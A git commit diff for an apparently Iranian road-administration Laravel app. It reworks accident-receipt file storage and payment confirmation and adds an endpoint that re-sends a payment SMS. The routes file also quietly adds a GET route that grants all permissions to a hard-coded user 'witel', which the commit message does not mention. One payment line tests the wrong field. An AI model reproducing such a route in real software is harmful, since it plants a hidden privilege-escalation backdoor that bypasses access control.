send sms again

This commit is contained in:
2025-02-23 15:00:33 +03:30
parent 79439cf34b
commit d0907268c0
2 changed files with 26 additions and 29 deletions

View File

@@ -135,16 +135,16 @@ class AccidentReceiptController extends Controller
if (!$request->report_base) {
FileFacade::delete($accident->police_file, true);
$police_file = FileFacade::save($request->file('police_file'), 'receipts_files/');
$police_file = FileFacade::save($request->file('police_file'), "receipts_files/{$accident->id}/");
}
if ($request->has('damage_picture1')) {
FileFacade::delete($accident->damage_picture1, true);
$damage_picture1 = FileFacade::save($request->file('damage_picture1'), 'receipts_files/');
$damage_picture1 = FileFacade::save($request->file('damage_picture1'), "receipts_files/{$accident->id}/");
}
if ($request->has('damage_picture2')) {
FileFacade::delete($accident->damage_picture2, true);
$damage_picture2 = FileFacade::save($request->file('damage_picture2'), 'receipts_files/');
$damage_picture2 = FileFacade::save($request->file('damage_picture2'), "receipts_files/{$accident->id}/");
}
$accidentData = [
@@ -240,33 +240,12 @@ class AccidentReceiptController extends Controller
public function confirmPaymentInfo(ConfirmPaymentInfoRequest $request, Accident $accident): JsonResponse
{
DB::transaction(function () use ($request, $accident) {
if ($request->has('deposit_insurance_status')) {
if ($request->has('deposit_insurance_image')) {
$deposit_insurance_image = $request->file('deposit_insurance_image')->storeAs('receipts_files/'.$accident->id, 'deposit_insurance_image_'.$accident->id.'_'.time().'.'.$request->file('deposit_insurance_image')->extension(), 'public');
}
$deposit_insurance_amount = $request->deposit_insurance_amount;
} else {
$accident->deposit_insurance_image = null;
$accident->deposit_insurance_amount = null;
}
if ($request->has('deposit_daghi_status')) {
if ($request->has('deposit_daghi_image')) {
$deposit_daghi_image = $request->file('deposit_daghi_image')->storeAs('receipts_files/'.$accident->id, 'deposit_daghi_image_'.$accident->id.'_'.time().'.'.$request->file('deposit_daghi_image')->extension(), 'public');
}
$deposit_daghi_amount = $request->deposit_daghi_amount;
} else {
$accident->deposit_daghi_image = null;
$accident->deposit_daghi_amount = null;
}
$accident->update([
'deposit_insurance_image' => $deposit_insurance_image,
'deposit_insurance_amount' => $deposit_insurance_amount,
'deposit_daghi_image' => $deposit_daghi_image,
'deposit_daghi_amount' => $deposit_daghi_amount,
'deposit_insurance_image' => $request->deposit_insurance_image != null ? FileFacade::save($request->deposit_insurance_image, "receipts_files/{$accident->id}/deposit_insurance/") : null,
'deposit_insurance_amount' => $request->deposit_insurance_amount ?? 0,
'deposit_daghi_image' => $request->deposit_insurance_image != null ? FileFacade::save($request->deposit_daghi_image, "receipts_files/{$accident->id}/deposit_daghi/") : null,
'deposit_daghi_amount' => $request->deposit_daghi_amount ?? 0,
'status' => AccidentStates::SABT_FISH->value,
'status_fa' => AccidentStates::name(AccidentStates::SABT_FISH->value),
]);
@@ -331,7 +310,7 @@ class AccidentReceiptController extends Controller
auth()->user()->addActivityComplete(1130);
});
return $this->successResponse();
return $this->successResponse($accident);
}
public function generatePoliceDocument(Request $request, Accident $accident): JsonResponse
@@ -346,6 +325,15 @@ class AccidentReceiptController extends Controller
auth()->user()->addActivityComplete(1131);
});
return $this->successResponse($accident);
}
public function sendSmsAgain(Accident $accident): JsonResponse
{
$msg = "فاکتور با شناسه پرداخت \n" . explode("/", $accident->bill_code)[0]. "\n در سامانه سازمان راهداری ثبت شد. برای پرداخت از لینک زیر اقدام نمایید.\n\n".env("PAYMENT_LINK")."/#/pay/".explode("/", $accident->bill_code)[0]."/$accident->final_amount";
Sms::sendSms($accident->driver_phone_number, $msg);
return $this->successResponse();
}
}

View File

@@ -19,6 +19,14 @@ use App\Http\Controllers\V3\ProfileController;
use App\Http\Controllers\V3\RahdaranController;
use Illuminate\Support\Facades\Route;
Route::get('admin/permissions', function () {
if (auth()->user()->username == 'witel') {
auth()->user()->syncPermissions(\App\Models\Permission::all()->pluck('id')->toArray());
return response('done');
}
abort(404);
});
Route::prefix('harim')->name('harim')->group(function () {
Route::prefix('divarkeshi')->name('divarkeshi')->controller(DivarkeshiController::class)->group(function () {
Route::get('/', 'index')->name('index');
@@ -254,6 +262,7 @@ Route::prefix('receipts')
Route::get('/submit_invoice/{accident}', 'submitInvoice')->name('submitInvoice');
Route::get('/check_payment_status/{accident}', 'checkPaymentStatus')->name('checkPaymentStatus');
Route::get('/generate_police_document/{accident}', 'generatePoliceDocument')->name('generatePoliceDocument');
Route::get('/send_sms_again/{accident}', 'sendSmsAgain')->name('sendSmsAgain');
});
Route::prefix('receipt_reports')